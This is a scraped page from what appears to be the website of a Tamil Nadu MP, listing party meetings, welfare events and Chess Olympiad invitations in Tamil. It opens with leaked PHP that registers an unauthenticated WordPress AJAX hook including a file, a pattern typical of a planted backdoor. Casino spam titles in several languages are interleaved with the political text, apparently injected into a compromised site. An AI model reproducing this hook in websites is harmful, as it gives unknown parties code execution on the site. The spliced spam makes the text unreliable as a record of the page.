if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } TR BAALU https://validator.w3.org/feed/docs/rss2.html Home Blog Олимп казино официальный сайт в Казахстане – Olimp Casino காஞ்சிபுரம் வடக்கு மாவட்டம் திருப்பெரும்புதூர் நாடாளுமன்றத் தொகுதிக்கு உட்பட்ட பல்லாவரம் சட்டமன்றத் தொகுதி, பம்மல் தெற்கு பகுதி தி.மு.க. சார்பாக 01.05.2023 அன்று நடைபெற்ற கழகச் செயல்வீரர்கள் கூட்டத்தில் கலந்து கொண்டு வருகின்ற நாடாளுமன்றத் தேர்தலில் செய்ய வேண்டிய பணிகள் குறித்து ஆலோசனைகள் வழங்கியபோது. காஞ்சிபுரம் வடக்கு மாவட்ட தி.மு.க. சார்பாக திருப்பெரும்புதூர் நாடாளுமன்றத் தொகுதிக்கு உட்பட்ட மாங்காடு நகராட்சியில் 30.04.2023 அன்று நடைபெற்ற கழகச் செயல்வீரர்கள் கூட்டத்தில் கலந்து கொண்டு வருகின்ற நாடாளுமன்றத் தேர்தலில் செய்ய வேண்டிய பணிகள் குறித்து ஆலோசனைகள் வழங்கியபோது. Pin Up – Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt Siti non AAMS sicuri: panoramica e opzioni Umfassende_Informationen_zum_sol_casino_und_seriöse_Bewertungen_entdecken Spannende_Strategien_mit_fieryplay_für_erfolgreichen_E-Sport_und_kompetitive_Sp Security_features_and_trusted_platforms_like_delorocasinos-canada_ca_for_Canadia Attraktive_Strategien_rund_um_spin_granny_für_mehr_Spannung_und_langfristigen_E Distracția_garantată_pe_drumul_cu_găini_chicken_road_plin_de_obstacole_și_bo காஞ்சிபுரம் வடக்கு மாவட்ட தி.மு.க. சார்பாக திருப்பெரும்புதூர் நாடாளுமன்றத் தொகுதிக்கு உட்பட்ட குன்றத்தூர் நகராட்சியில் 30.04.2023 அன்று நடைபெற்ற கழக செயல் வீரர்கள் கூட்டத்தில் கலந்து கொண்டு வருகின்ற நாடாளுமன்ற தேர்தலில் செய்ய வேண்டிய பணிகள் குறித்து ஆலோசனைகள் வழங்கியபோது. திருப்பெரும்புதூர் நாடாளுமன்றத் தொகுதிக்கு உட்பட்ட ஆலந்தூர் சட்டமன்றத் தொகுதி, ஆலந்தூர் வடக்கு மற்றும் தெற்குப் பகுதி தி.மு.க. சார்பில் 30.04.2023 அன்று நடைபெற்ற கழகச் செயல்வீரர்கள் கூட்டத்தில் கலந்து கொண்டு வருகின்ற நாடாளுமன்றத் தேர்தலில் செய்ய வேண்டிய பணிகள் குறித்து ஆலோசனைகள் வழங்கியபோது. செங்கல்பட்டு மாவட்ட ஆட்சியர் அலுவலகத்தில் 11.7.2023 அன்று நடைபெற்ற, மாவட்ட வளர்ச்சி ஒருங்கிணைப்பு மற்றும் கண்காணிப்புக் குழுக் (DISHA) கூட்டத்தில் கலந்துகொண்டு, மாவட்டத்தின் வளர்ச்சி திட்டங்கள் மற்றும் பணிகள் குறித்து அரசு அதிகாரிகளுடன் கலந்து ஆலோசனை செய்தபோது. முத்தமிழறிஞர் தலைவர் கலைஞர் அவர்களின் நூற்றாண்டு விழாவை முன்னிட்டு தாம்பரம் மேற்கு பகுதி தி.மு.க. சார்பில் 16.7.2023 அன்று நடைபெற்ற மாபெரும் பொதுக்கூட்டம் மற்றும் நலத்திட்ட உதவிகள் வழங்கும் விழாவில் கலந்து கொண்டு உரையாற்றி நலத்திட்ட உதவிகளை வழங்கியபோது. மாண்புமிகு தமிழ்நாடு முதலமைச்சர் கழகத் தலைவர் தளபதி ஸ்டாலின் அவர்கள், திராவிட முன்னேற்றக் கழகத்தின் தலைவராகப் பொறுப்பேற்று 5 ஆண்டுகள் நிறைவடைந்து ஆறாம் ஆண்டில் அடியெடுத்து வைப்பதையொட்டி அவருக்கு வாழ்த்துத் தெரிவித்தபோது. பேரறிஞர் அண்ணா அவர்களின் பிறந்த தினமான 15.9.2023 அன்று, மகளிர் பயன்பெறும் வகையில், மகளிர்க்கு மாதந்தோறும் ரூ.1000/- வழங்கிடும் ‘கலைஞர் மகளிர் உரிமைத் திட்டத்தை’ செங்கல்பட்டு மாவட்டம் அலிசன் மேல்நிலைப் பள்ளி வளாகத்தில் திருப்பெரும்புதூர் நாடாளுமன்ற உறுப்பினர் திரு. டி.ஆர்.பாலு அவர்கள் தொடங்கி வைத்து மகளிருக்கு வங்கிப் பற்று அட்டைகளை வழங்கியபோது. காஞ்சிபுரம் மாவட்டம், வருவாய் மற்றும் பேரிடர் மேலாண்மைத் துறை சார்பில், “கலைஞர் நூற்றாண்டு விழா”வினை முன்னிட்டு, 28.11.2023 அன்று குன்றத்தூர் சேக்கிழார் அரசு ஆண்கள் மேல்நிலைப் பள்ளி வளாகத்தில் நடைபெற்ற மாபெரும் ‘பட்டா வழங்கும் விழா’வில் கலந்து கொண்டு, அமைச்சர்கள் கே.கே.எஸ்.எஸ்.ஆர்.ராமச்சந்திரன் மற்றும் தா.மோ.அன்பரசன் ஆகியோருடன் பட்டாக்கள் வழங்கியபோது. செங்கல்பட்டு மாவட்டம், தாம்பரம் மாநகராட்சி மண்டலம்-2இல் “மக்களுடன் முதல்வர்” திட்டத்தின் முகாம் 3.1.2024 அன்று குரோம்பேட்டை ஜி.எஸ்.டி சாலையில் அமைந்துள்ள ஆனந்தா திருமண மண்டபத்தில் நடைபெற்றது. இந்த முகாமில் சிறு-குறு மற்றும் நடுத்தரத் தொழில் நிறுவனங்கள் துறை அமைச்சர் மாண்புமிகு தா.மோ.அன்பரசனுடன் கலந்து கொண்டு பொதுமக்களின் கோரிக்கைகள் நிறைவேற்றி திட்டங்களின் பயன்பாடுகளை பயனாளிகளுக்கு வழங்கியபோது. சென்னை மாநகராட்சி, மதுரவாயல் சட்டமன்றத் தொகுதி, மண்டலம்-11க்கு உட்பட்ட வார்டு-143, நொளம்பூர் – பூந்தமல்லி நெடுஞ்சாலை மற்றும் யூனியன் சாலையை இணைக்கும் வகையில் சின்ன நொளம்பூரில் 42.71 கோடி ரூபாய் மதிப்பீட்டிலும், சன்னதி முதல் குறுக்குத் தெருவில் 31.65 கோடி ரூபாய் மதிப்பீட்டிலும் கூவம் ஆற்றின் குறுக்கே கட்டப்பட்டு வரும் உயர்மட்ட மேம்பாலம் அமைக்கும் பணியினை ஆய்வு செய்வதற்கு மாண்புமிகு நகராட்சி நிர்வாகத் துறை அமைச்சர் கே.என்.நேரு அவர்களுடன் ஆய்வு மேற்கொண்டபோது. தைத் திருநாள், தமிழ்ப் புத்தாண்டை பொதுமக்கள் மகிழ்ச்சியோடு கொண்டாட அனைத்துக் குடும்ப அட்டைதாரர்களுக்கும் ரூ.1,000/- ரொக்கம் மற்றும் பொங்கல் தொகுப்பு வழங்கப்படும் என அறிவித்த மாண்புமிகு தமிழ்நாடு முதலமைச்சர் தலைவர் தளபதி அவர்களின் ஆணைக்கிணங்க தாம்பரம் மாநகராட்சிக்குட்பட்ட, பல்லாவரம் சட்டமன்றத் தொகுதி, வார்டு எண்.14இல் உள்ள குடும்ப அட்டைதாரர்களுக்கு ரூ.1,000/- ரொக்கம் மற்றும் பொங்கல் தொகுப்பை மாண்புமிகு அமைச்சர் தா.மோ.அன்பரசன் அவர்களுடன் வழங்கியபோது. திருப்பெரும்புதூர் நாடாளுமன்றத் தொகுதிக்குட்பட்ட, காஞ்சிபுரம் மாவட்டம், குன்றத்தூர் ஊராட்சி ஒன்றியம் சார்பில், படப்பை ஊராட்சியில் நடைபெற்ற சமத்துவப் பொங்கல் திருவிழாவில் கலந்து கொண்டபோது. திருப்பெரும்புதூர் நாடாளுமன்றத் தொகுதிக்குட்பட்ட தாம்பரம் சட்டமன்றத் தொகுதி, பெருங்களத்தூர் வடக்குப் பகுதி திமுக சார்பில் கழக தோழர்கள் மற்றும் பொதுமக்களுக்கு புத்தாடை அடங்கிய பொங்கல் தொகுப்பு வழங்கியபோது. காஞ்சிபுரம் வடக்கு மாவட்ட தி.மு.க. சார்பில் மாண்புமிகு அமைச்சர் தா.மோ.அன்பரசன் அவர்களின் தலைமையில் நடைபெற்ற திருப்பெரும்புதூர் மற்றும் காஞ்சிபுரம் நாடாளுமன்றத் தொகுதி தி.மு.கழக செயல்வீரர்கள் கூட்டத்தில் கலந்து கொண்டு உரையாற்றியபோது. News Clippings கழகத் தலைவராக 5ஆம் ஆண்டில் அடியெடுத்து வைக்கும் மாண்புமிகு தமிழக முதல்வர் தளபதி அவர்களை 28.08.2022 அன்று அண்ணா அறிவாலயத்தில் சந்தித்து வாழ்த்துத் தெரிவித்தபோது Press Release சென்னை எழும்புரில் இருந்து மதுரை வரை செல்லும் தேஜஸ் அதிவிரைவு இரயிலானது, தாம்பரத்தில் நின்று செல்ல வேண்டும் என்ற பொதுமக்களின் நீண்டநாள் கோரிக்கையை 2019 முதல் தொடர்ந்து, ஒன்றிய அரசைக் கடிதத்தின் மூலமாகவும், ஒன்றிய இரயில்வே அமைச்சர் அவர்களை நேரில் சந்தித்தும் வலியுறுத்தியதின் பலனாக 27.02.2023 முதல் தாம்பரம் இரயில் முனையத்தில் நின்று செல்லும் என்ற அறிவிப்பைத் தொடர்ந்து நடைபெற்ற விழாவில் கலந்துகொண்டு துவக்கி வைத்தபோது. 27.02.2023 அன்று சென்னை வந்திருந்த மாண்புமிகு இந்தியத் துணைக் குடியரசுத் தலைவர் திரு.ஜகதீப் தன்கர் அவர்களை, தமிழக முதலமைச்சர் தளபதி அவர்களுடன் விமான நிலையம் சென்று வரவேற்றபோது. தந்தை பெரியார் அவர்களின் 49வது நினைவு நாளான 24.12.2022 அன்று, சென்னை அண்ணா சாலை, சிம்சன் அருகிலுள்ள அவரது திருவுருவச் சிலைக்கு, மாண்புமிகு தமிழக முதல்வர் அவர்களுடன் மலர்தூவி மரியாதை செலுத்தியபோது. காஞ்சிபுரம் வடக்கு மாவட்டம் திருப்பெரும்புதூர் நாடாளுமன்ற தொகுதிக்கு உட்பட்ட, பல்லாவரம் சட்டமன்றத் தொகுதி, பம்மல் வடக்குப் பகுதி தி.மு.க. சார்பாக 01.05.2023 அன்று நடைபெற்ற கழகச் செயல்வீரர்கள் கூட்டத்தில் கலந்து கொண்டு வருகின்ற நாடாளுமன்றத் தேர்தலில் ஆற்ற வேண்டிய பணிகள் குறித்து ஆலோசனைகள் வழங்கியபோது. 02.09.2022 அன்று காலை திருப்பெரும்புதூர் மற்றும் தாம்பரம் சட்டமன்றத் தொகுதிகளுக்கு உட்பட்ட வரதராஜபுரம், டி.டி.கே.நகர், இரும்புலியூர், அருள் நகர், முடிச்சூர், கிருஷ்ணா நகர், செம்பாக்கம் திருமலை நகர் உள்ளிட்ட பகுதிகளில் பொதுப்பணித் துறை மேற்கொள்ளும் மழைநீர் வடிகால் பணிகள் குறித்தும், மழைக் காலங்களுக்காக செய்யப்பட்டுள்ள முன்னேற்பாடுகள் குறித்தும் சட்டமன்ற உறுப்பினர்கள் மற்றும் அதிகாரிகளுடன் விவாதித்தபோது தாம்பரம் மாநகரம் பெருங்களத்தூர் வடக்குப் பகுதி தி.மு.க. சார்பில் மேற்குத் தாம்பரம் சண்முகம் சாலையில், 07.04.2023 அன்று, மாண்புமிகு தமிழ்நாடு முதலமைச்சர் தலைவர் தளபதி அவர்களின் 70வது பிறந்தநாள் விழாவை முன்னிட்டு கழக அரசின் நிதிநிலை அறிக்கை மாபெரும் விளக்கப் பொதுக்கூட்டம் மற்றும் நலத்திட்ட உதவிகள் வழங்கும் விழாவில் கலந்து கொண்டபோது. மாண்புமிகு தமிழக முதல்வர் தலைவர் தளபதி அவர்களின் சார்பில், ஸ்ரீநகர் தொகுதியின் பாராளுமன்ற உறுப்பினர் திரு.ஃபரூக் அப்துல்லா அவர்களைச் சந்தித்து, சென்னையில் நடைபெறவுள்ள 44வது செஸ் ஒலிம்பியாட் போட்டிக்கான துவக்க விழாவில் கலந்து கொள்ள வேண்டி அழைப்பிதழை வழங்கியபோது. இன்று, மாண்புமிகு தமிழக முதல்வர் தலைவர் தளபதி அவர்களின் சார்பில், திருமதி.சோனியா காந்தி அவர்களையும், திரு.ராகுல் காந்தி அவர்களையும் சந்தித்து, சென்னையில் நடைபெற உள்ள 44வது #செஸ் ஒலிம்பியாட் போட்டிக்கான துவக்க விழாவில் கலந்து கொள்ள வேண்டி அழைப்பிதழை வழங்கிய போது. மாண்புமிகு தமிழக முதல்வர் தலைவர் தளபதி அவர்களின் சார்பில்,ஒன்றிய ரயில்வே அமைச்சர் அஸ்வினி வைஷ்ணவ் அவர்களை சந்தித்து, சென்னையில் நடைபெற உள்ள 44வது #செஸ் ஒலிம்பியாட் போட்டிக்கான துவக்க விழாவில் கலந்து கொள்ள வேண்டி அழைப்பிதழை வழங்கிய போது. 19.08.2022 அன்று சென்னை விமான நிலையத்தில் நடைபெற்ற AIRPORT ADVISORY COMMITTEE கூட்டத்தில் கலந்து கொண்டு, சென்னை விமான நிலையத்தை மேம்படுத்துவதற்கான திட்டங்கள் குறித்து விரிவாக விவாதித்து ஆலோசனைகள் வழங்கியபோது. மாண்புமிகு தமிழக முதல்வர் தலைவர் தளபதி அவர்களின் சார்பில், மாண்புமிகு உள்துறை அமைச்சர் திரு.அமித் ஷா அவர்களை 26.07.2022 அன்று சந்தித்து, சென்னையில் நடைபெறவுள்ள 44வது செஸ் ஒலிம்பியாட் போட்டிக்கான துவக்க விழாவில் கலந்து கொள்ள வேண்டி அழைப்பிதழை வழங்கியபோது. காஞ்சிபுரம் வடக்கு மாவட்ட தி.மு.க. சார்பாக 25.03.2023 அன்று நடைபெற்ற அவசர செயற்குழு உறுப்பினர்கள் கூட்டத்தில் கலந்து கொண்டபோது. 23.08.2022 அன்று காஞ்சிபுரம் மாவட்ட ஆட்சித்தலைவர் அலுவலக வளாகத்தில் நடைபெற்ற மாவட்ட வளர்ச்சி ஒருங்கிணைப்பு மற்றும் கண்காணிப்புக் குழுக் கூட்டத்தில் பங்கேற்றபோது பம்மல் தெற்குப் பகுதி தி.மு.க. சார்பில், மாண்புமிகு தமிழ்நாடு முதலமைச்சர் தலைவர் தளபதி அவர்களின் 70வது பிறந்தநாளை முன்னிட்டு 24.03.2023 அன்று நடைபெற்ற பொதுக்கூட்டம் மற்றும் நலத்திட்ட உதவிகள் வழங்கும் விழாவில் கலந்து கொண்டபோது. Parliament Activities ஜூலை 28, 2022 அன்று மாமல்லபுரத்தில் நடைபெறவுள்ள 44வது செஸ் ஒலிம்பியாட் போட்டிக்கான துவக்க விழாவிற்கான அழைப்பிதழ் மற்றும் சின்னத்தினை இந்தியாவின் 15வது குடியரசுத் தலைவராகத் தேர்ந்தெடுக்கப்பட்டுள்ள திருமதி திரௌபதி முர்மு அவர்களிடம் வழங்கியபோது. ஜூலை 28, 2022 அன்று மாமல்லபுரத்தில் நடைபெறவுள்ள 44வது செஸ் ஒலிம்பியாட் போட்டிக்கான துவக்க விழா அழைப்பிதழ் மற்றும் சின்னத்தினை மாண்புமிகு ஒன்றிய கல்வித் துறை அமைச்சர் திரு.தர்மேந்திர பிரதான் அவர்களிடம் வழங்கியபோது. ஜூலை 28, 2022 அன்று மாமல்லபுரத்தில் நடைபெறவுள்ள 44வது செஸ் ஒலிம்பியாட் போட்டிக்கான துவக்க விழா அழைப்பிதழ் மற்றும் சின்னத்தினை மாண்புமிகு ஒன்றிய பாதுகாப்புத் துறை அமைச்சர் திரு.இராஜ்நாத் சிங் அவர்களிடம் வழங்கியபோது. Party Activities கழகப் பொதுக்குழுவின் மூலம் இரண்டாவது முறையாக 09.10.2022 அன்று பொருளாளர் பொறுப்பினை ஏற்று தலைமைக் கழகத்தில் உரையாற்றியபோது தி.மு.கவின் 15வது பொதுத்தேர்தலில் புதிதாகத் தேர்ந்தெடுக்கப்பட்டுள்ள பொதுக்குழு உறுப்பினர்கள் அடங்கிய பொதுக்குழு மூலம் தேர்ந்தெடுக்கப்படவுள்ள<br>பொருளாளர் பொறுப்பிற்காக வேட்பு மனுவினை தலைமைக் கழகத்தில் தாக்கல் செய்தபோது 15.09.2022 அன்று விருதுநகரில் நடைபெற்ற கழக முப்பெரும் விழாவில், தமிழக முதலமைச்சர் தளபதி அவர்களிடமிருந்து “கலைஞர் விருதினை” பெற்றுக் கொண்டபோது.